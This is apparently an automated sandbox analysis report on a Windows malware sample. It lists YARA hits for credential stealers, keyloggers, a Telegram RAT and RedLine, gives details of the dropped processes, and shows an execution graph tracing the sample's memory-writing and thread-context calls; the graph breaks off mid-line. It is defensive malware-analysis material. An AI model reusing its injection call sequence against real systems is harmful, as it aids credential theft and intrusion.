                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000007.00000002.2945818229.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    Reputation:moderate
                                                                                                                                                                    Has exited:false

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:9
                                                                                                                                                                    Start time:10:05:19
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Users\Public\Libraries\Pumyophn.PIF
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Users\Public\Libraries\Pumyophn.PIF"
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:2'143'232 bytes
                                                                                                                                                                    MD5 hash:4F481037138109F314141B4FEDE21F87
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:11
                                                                                                                                                                    Start time:10:05:19
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                                    Imagebase:0x240000
                                                                                                                                                                    File size:236'544 bytes
                                                                                                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:13
                                                                                                                                                                    Start time:10:05:20
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                    Imagebase:0x7ff7699e0000
                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:14
                                                                                                                                                                    Start time:10:05:19
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:175'800 bytes
                                                                                                                                                                    MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.2964961500.0000000026094000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000E.00000001.1913774017.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000E.00000002.2945858419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    Reputation:moderate
                                                                                                                                                                    Has exited:false

                                                                                                                                                                    Disassembly

                                                                                                                                                                    Reset < >

                                                                                                                                                                      Execution Graph

                                                                                                                                                                      Execution Coverage:15.1%
                                                                                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                      Signature Coverage:10.4%
                                                                                                                                                                      Total number of Nodes:289
                                                                                                                                                                      Total number of Limit Nodes:16
                                                                                                                                                                      execution_graph 25276 2c94e88 25277 2c94e95 25276->25277 25280 2c94e9c 25276->25280 25285 2c94bdc SysAllocStringLen 25277->25285 25282 2c94bfc 25280->25282 25283 2c94c08 25282->25283 25284 2c94c02 SysFreeString 25282->25284 25284->25283 25285->25280 25286 2c91c6c 25287 2c91c7c 25286->25287 25288 2c91d04 25286->25288 25289 2c91c89 25287->25289 25290 2c91cc0 25287->25290 25291 2c91f58 25288->25291 25292 2c91d0d 25288->25292 25293 2c91c94 25289->25293 25334 2c91724 25289->25334 25296 2c91724 10 API calls 25290->25296 25294 2c91fec 25291->25294 25298 2c91f68 25291->25298 25299 2c91fac 25291->25299 25295 2c91d25 25292->25295 25309 2c91e24 25292->25309 25301 2c91d2c 25295->25301 25306 2c91d48 25295->25306 25310 2c91dfc 25295->25310 25316 2c91cd7 25296->25316 25304 2c91724 10 API calls 25298->25304 25303 2c91fb2 25299->25303 25307 2c91724 10 API calls 25299->25307 25300 2c91e7c 25305 2c91724 10 API calls 25300->25305 25318 2c91e95 25300->25318 25302 2c91cfd 25322 2c91f82 25304->25322 25320 2c91f2c 25305->25320 25311 2c91d79 Sleep 25306->25311 25324 2c91d9c 25306->25324 25323 2c91fc1 25307->25323 25308 2c91cb9 25309->25300 25313 2c91e55 Sleep 25309->25313 25309->25318 25312 2c91724 10 API calls 25310->25312 25314 2c91d91 Sleep 25311->25314 25311->25324 25326 2c91e05 25312->25326 25313->25300 25317 2c91e6f Sleep 25313->25317 25314->25306 25315 2c91ca1 25315->25308 25358 2c91a8c 25315->25358 25316->25302 25321 2c91a8c 8 API calls 25316->25321 25317->25309 25320->25318 25325 2c91a8c 8 API calls 25320->25325 25321->25302 25327 2c91a8c 8 API calls 25322->25327 25331 2c91fa7 25322->25331 25328 2c91a8c 8 API calls 25323->25328 25323->25331 25329 2c91f50 25325->25329 25330 2c91a8c 8 API calls 25326->25330 25333 2c91e1d 25326->25333 25327->25331 25332 2c91fe4 25328->25332 25330->25333 25335 2c91968 25334->25335 25336 2c9173c 25334->25336 25337 2c91a80 25335->25337 25338 2c91938 25335->25338 25346 2c917cb Sleep 25336->25346 25348 2c9174e 25336->25348 25340 2c91a89 25337->25340 25341 2c91684 VirtualAlloc 25337->25341 25342 2c91947 Sleep 25338->25342 25352 2c91986 25338->25352 25339 2c9175d 25339->25315 25340->25315 25343 2c916bf 25341->25343 25344 2c916af 25341->25344 25345 2c9195d Sleep 25342->25345 25342->25352 25343->25315 25375 2c91644 25344->25375 25345->25338 25346->25348 25351 2c917e4 Sleep 25346->25351 25348->25339 25349 2c9182c 25348->25349 25350 2c9180a Sleep 25348->25350 25357 2c91838 25349->25357 25381 2c915cc 25349->25381 25350->25349 25354 2c91820 Sleep 25350->25354 25351->25336 25353 2c915cc VirtualAlloc 25352->25353 25355 2c919a4 25352->25355 25353->25355 25354->25348 25355->25315 25357->25315 25359 2c91b6c 25358->25359 25360 2c91aa1 25358->25360 25361 2c916e8 25359->25361 25362 2c91aa7 25359->25362 25360->25362 25363 2c91b13 Sleep 25360->25363 25365 2c91c66 25361->25365 25368 2c91644 2 API calls 25361->25368 25364 2c91ab0 25362->25364 25367 2c91b4b Sleep 25362->25367 25372 2c91b81 25362->25372 25363->25362 25366 2c91b2d Sleep 25363->25366 25364->25308 25365->25308 25366->25360 25369 2c91b61 Sleep 25367->25369 25367->25372 25370 2c916f5 VirtualFree 25368->25370 25369->25362 25371 2c9170d 25370->25371 25371->25308 25373 2c91c00 VirtualFree 25372->25373 25374 2c91ba4 25372->25374 25373->25308 25374->25308 25376 2c91681 25375->25376 25377 2c9164d 25375->25377 25376->25343 25377->25376 25378 2c9164f Sleep 25377->25378 25379 2c91664 25378->25379 25379->25376 25380 2c91668 Sleep 25379->25380 25380->25377 25385 2c91560 25381->25385 25383 2c915d4 VirtualAlloc 25384 2c915eb 25383->25384 25384->25357 25386 2c91500 25385->25386 25386->25383 25387 2cbc2fc 25397 2c96518 25387->25397 25391 2cbc32a 25402 2cbbb48 timeSetEvent 25391->25402 25393 2cbc334 25394 2cbc342 GetMessageA 25393->25394 25395 2cbc352 25394->25395 25396 2cbc336 TranslateMessage DispatchMessageA 25394->25396 25396->25394 25399 2c96523 25397->25399 25403 2c94168 25399->25403 25401 2c9427c SysAllocStringLen SysFreeString SysReAllocStringLen 25401->25391 25402->25393 25404 2c941ae 25403->25404 25405 2c943b8 25404->25405 25406 2c94227 25404->25406 25409 2c943e9 25405->25409 25412 2c943fa 25405->25412 25417 2c94100 25406->25417 25422 2c9432c GetStdHandle WriteFile GetStdHandle WriteFile MessageBoxA 25409->25422 25411 2c943f3 25411->25412 25413 2c9443f FreeLibrary 25412->25413 25414 2c94463 25412->25414 25413->25412 25415 2c9446c 25414->25415 25416 2c94472 ExitProcess 25414->25416 25415->25416 25418 2c94143 25417->25418 25419 2c94110 25417->25419 25418->25401 25419->25418 25420 2c915cc VirtualAlloc 25419->25420 25423 2c95814 25419->25423 25420->25419 25422->25411 25424 2c95840 25423->25424 25425 2c95824 GetModuleFileNameA 25423->25425 25424->25419 25427 2c95a78 GetModuleFileNameA RegOpenKeyExA 25425->25427 25428 2c95afb 25427->25428 25429 2c95abb RegOpenKeyExA 25427->25429 25445 2c958b4 12 API calls 25428->25445 25429->25428 25430 2c95ad9 RegOpenKeyExA 25429->25430 25430->25428 25432 2c95b84 lstrcpynA GetThreadLocale GetLocaleInfoA 25430->25432 25436 2c95bbb 25432->25436 25437 2c95c9e 25432->25437 25433 2c95b20 RegQueryValueExA 25434 2c95b40 RegQueryValueExA 25433->25434 25435 2c95b5e RegCloseKey 25433->25435 25434->25435 25435->25424 25436->25437 25439 2c95bcb lstrlenA 25436->25439 25437->25424 25440 2c95be3 25439->25440 25440->25437 25441 2c95c08 lstrcpynA LoadLibraryExA 25440->25441 25442 2c95c30 25440->25442 25441->25442 25442->25437 25443 2c95c3a lstrcpynA LoadLibraryExA 25442->25443 25443->25437 25444 2c95c6c lstrcpynA LoadLibraryExA 25443->25444 25444->25437 25445->25433 25446 2cb67bc 26263 2c9480c 25446->26263 26264 2c9481d 26263->26264 26265 2c9485a 26264->26265 26266 2c94843 26264->26266 26281 2c94570 26265->26281 26272 2c94b78 26266->26272 26269 2c9488b 26270 2c94850 26270->26269 26286 2c94500 26270->26286 26273 2c94b85 26272->26273 26280 2c94bb5 26272->26280 26275 2c94bae 26273->26275 26278 2c94b91 26273->26278 26276 2c94570 11 API calls 26275->26276 26276->26280 26277 2c94b9f 26277->26270 26292 2c92c44 11 API calls 26278->26292 26293 2c944ac 26280->26293 26282 2c94598 26281->26282 26283 2c94574 26281->26283 26282->26270 26306 2c92c10 26283->26306 26285 2c94581 26285->26270 26287 2c94514 26286->26287 26288 2c94504 26286->26288 26289 2c94542 26287->26289 26291 2c92c2c 11 API calls 26287->26291 26288->26287 26290 2c94570 11 API calls 26288->26290 26289->26269 26290->26287 26291->26289 26292->26277 26294 2c944cd 26293->26294 26295 2c944b2 26293->26295 26294->26277 26295->26294 26297 2c92c2c 26295->26297 26298 2c92c3a 26297->26298 26299 2c92c30 26297->26299 26298->26294 26299->26298 26300 2c92d19 26299->26300 26304 2c964cc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 26299->26304 26305 2c92ce8 7 API calls 26300->26305 26303 2c92d3a 26303->26294 26304->26300 26305->26303 26308 2c92c14 26306->26308 26307 2c92c1e 26307->26285 26308->26285 26308->26307 26309 2c92d19 26308->26309 26313 2c964cc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 26308->26313 26314 2c92ce8 7 API calls 26309->26314 26312 2c92d3a 26312->26285 26313->26309 26314->26312 26315 2cbbb3c 26318 2caec6c 26315->26318 26319 2caec74 26318->26319 26319->26319 29299 2ca8704 LoadLibraryW 26319->29299 26321 2caec96 29304 2c92ee0 QueryPerformanceCounter 26321->29304 26323 2caec9b 26324 2caeca5 InetIsOffline 26323->26324 26325 2caecaf 26324->26325 26326 2caecc0 26324->26326 26327 2c94500 11 API calls 26325->26327 26328 2c94500 11 API calls 26326->26328 26329 2caecbe 26327->26329 26328->26329 26330 2c9480c 11 API calls 26329->26330 26331 2caeced 26330->26331 26332 2caecf5 26331->26332 29307 2c94798 26332->29307 26334 2caed18 26335 2caed20 26334->26335 26336 2caed2a 26335->26336 29322 2ca881c 26336->29322 26339 2c9480c 11 API calls 26340 2caed51 26339->26340 26341 2caed59 26340->26341 26342 2c94798 11 API calls 26341->26342 26343 2caed7c 26342->26343 26344 2caed84 26343->26344 29335 2c946a4 26344->29335 29337 2ca80c0 29299->29337 29301 2ca873d 29348 2ca7cf8 29301->29348 29305 2c92ef8 GetTickCount 29304->29305 29306 2c92eed 29304->29306 29305->26323 29306->26323 29308 2c947fd 29307->29308 29309 2c9479c 29307->29309 29310 2c94500 29309->29310 29311 2c947a4 29309->29311 29315 2c94570 11 API calls 29310->29315 29317 2c94514 29310->29317 29311->29308 29313 2c947b3 29311->29313 29314 2c94500 11 API calls 29311->29314 29312 2c94542 29312->26334 29316 2c94570 11 API calls 29313->29316 29314->29313 29315->29317 29319 2c947cd 29316->29319 29317->29312 29318 2c92c2c 11 API calls 29317->29318 29318->29312 29320 2c94500 11 API calls 29319->29320 29321 2c947f9 29320->29321 29321->26334 29323 2ca8830 29322->29323 29324 2ca884f LoadLibraryA 29323->29324 29384 2c9494c 29324->29384 29327 2c9494c 29328 2ca8872 GetProcAddress 29327->29328 29329 2ca8899 29328->29329 29330 2ca7cf8 18 API calls 29329->29330 29331 2ca88dd FreeLibrary 29330->29331 29332 2ca88f5 29331->29332 29333 2c944d0 11 API calls 29332->29333 29334 2ca8902 29333->29334 29334->26339 29336 2c946aa 29335->29336 29338 2c94500 11 API calls 29337->29338 29339 2ca80e5 29338->29339 29362 2ca790c 29339->29362 29342 2c94798 11 API calls 29343 2ca80ff 29342->29343 29344 2ca8107 GetModuleHandleW GetProcAddress GetProcAddress 29343->29344 29345 2ca813a 29344->29345 29368 2c944d0 29345->29368 29349 2c94500 11 API calls 29348->29349 29350 2ca7d1d 29349->29350 29351 2ca790c 12 API calls 29350->29351 29352 2ca7d2a 29351->29352 29353 2c94798 11 API calls 29352->29353 29354 2ca7d3a 29353->29354 29373 2ca8018 29354->29373 29357 2ca80c0 15 API calls 29358 2ca7d53 NtWriteVirtualMemory 29357->29358 29359 2ca7d7f 29358->29359 29360 2c944d0 11 API calls 29359->29360 29361 2ca7d8c FreeLibrary 29360->29361 29361->26321 29363 2ca791d 29362->29363 29364 2c94b78 11 API calls 29363->29364 29366 2ca792d 29364->29366 29365 2ca7999 29365->29342 29366->29365 29372 2c9ba3c CharNextA 29366->29372 29370 2c944d6 29368->29370 29369 2c944fc 29369->29301 29370->29369 29371 2c92c2c 11 API calls 29370->29371 29371->29370 29372->29366 29374 2c94500 11 API calls 29373->29374 29375 2ca803b 29374->29375 29376 2ca790c 12 API calls 29375->29376 29377 2ca8048 29376->29377 29378 2ca8050 GetModuleHandleA 29377->29378 29379 2ca80c0 15 API calls 29378->29379 29380 2ca8061 GetModuleHandleA 29379->29380 29381 2ca807f 29380->29381 29382 2c944ac 11 API calls 29381->29382 29383 2ca7d4d 29382->29383 29383->29357 29385 2c94950 GetModuleHandleA 29384->29385 29385->29327

                                                                                                                                                                      Executed Functions

                                                                                                                                                                      Function 02CA8BA8 Relevance: 47.2, APIs: 3, Strings: 23, Instructions: 1654threadnativeinjectionCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 6797 2ca8ba8-2ca8bab 6798 2ca8bb0-2ca8bb5 6797->6798 6798->6798 6799 2ca8bb7-2ca8c9e call 2c9493c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 6798->6799 6830 2caa6ef-2caa759 call 2c944d0 * 2 call 2c94c0c call 2c944d0 call 2c944ac call 2c944d0 * 2 6799->6830 6831 2ca8ca4-2ca8d7f call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 6799->6831 6831->6830 6875 2ca8d85-2ca90ad call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c930d4 * 2 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c94d8c call 2c94d9c call 2ca85d4 6831->6875 6984 2ca90af-2ca911b call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 6875->6984 6985 2ca9120-2ca9441 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c92ee0 call 2c92f08 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c GetThreadContext 6875->6985 6984->6985 6985->6830 7093 2ca9447-2ca96aa call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca824c 6985->7093 7166 2ca96b0-2ca9819 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca84bc 7093->7166 7167 2ca99b7-2ca9a23 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7093->7167 7256 2ca981b-2ca9841 call 2ca79ac 7166->7256 7257 2ca9843-2ca98af call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7166->7257 7195 2ca9a28-2ca9ba8 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca79ac 7167->7195 7195->6830 7298 2ca9bae-2ca9ca7 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca8ab8 7195->7298 7266 2ca98b4-2ca99ab call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca79ac 7256->7266 7257->7266 7337 2ca99b0-2ca99b5 7266->7337 7349 2ca9cfb-2caa453 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 